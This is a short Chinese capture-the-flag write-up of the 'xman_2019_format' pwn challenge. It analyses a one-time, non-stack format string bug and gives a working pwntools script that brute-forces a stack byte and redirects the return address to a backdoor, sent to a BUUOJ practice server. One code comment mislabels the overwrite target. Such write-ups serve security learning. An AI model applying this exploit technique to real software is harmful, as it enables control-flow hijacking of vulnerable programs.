xman_2019_format(非棧上格式化字符串僅一次利用的爆破)

xman_2019_format

首先檢查一下程序的保護機制

然後用IDA分析一下

存在一個後門函數

s執行的內存是非棧上,這類格式化字符串漏洞,一般需要先泄露棧地址,但是這裏無法做到,如果泄露了,第二次也沒機會來再次利用了。因爲這裏是一次輸入,分步執行。沒有循環的交互。因此,最簡單的方法是爆破棧的低1字節。通過棧上已有的數據,在棧上布下一個指向函數返回地址棧的指針,然後劫持返回地址棧。

#coding:utf8
from pwn import *

#sh = process('./xman_2019_format')
sh = remote('node3.buuoj.cn',27216)
elf = ELF('./xman_2019_format')
backdoor = 0x080485AB
#假設$14棧的數據低一字節爲0x98,則爆破,成功率1/16,實際上機率更高
stack_guess = 0x98

#修改$18爲$30-0x4C,也就是函數返回地址值
payload = '%' + str(stack_guess-0x4C) + 'c%10$hhn|'
#在棧上$31佈置printf的got低2字節地址
payload += '%' + str(backdoor & 0xFFFF) + 'c%18$hn|'
sh.sendafter('...',payload)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章